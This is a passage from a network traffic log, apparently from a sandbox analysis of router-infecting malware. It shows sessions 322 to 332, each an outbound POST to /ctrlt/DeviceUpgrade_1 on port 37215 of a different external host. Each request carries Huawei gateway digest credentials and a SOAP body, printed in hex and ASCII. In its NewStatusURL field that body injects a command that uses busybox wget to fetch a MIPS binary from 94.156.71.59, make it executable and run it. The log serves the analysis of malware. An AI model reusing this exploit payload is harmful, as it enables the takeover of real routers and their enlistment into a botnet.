6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
322	192.168.2.13	37234	197.176.22.163	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.252449989 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
323	192.168.2.13	42484	197.229.179.187	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.253140926 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
324	192.168.2.13	43078	156.243.212.25	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.253813028 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
325	192.168.2.13	36058	41.214.194.245	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.254476070 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
326	192.168.2.13	55170	156.134.168.58	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.255182981 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
327	192.168.2.13	46904	197.116.245.45	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.255863905 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
328	192.168.2.13	32906	156.172.0.85	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.256608963 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
329	192.168.2.13	32950	156.146.151.12	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.257345915 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
330	192.168.2.13	52852	197.130.110.26	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.258035898 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
331	192.168.2.13	53884	156.254.58.48	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.258739948 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
332	192.168.2.13	58672	197.171.135.28	37215

Timestamp	Bytes transferred	Direction	Data
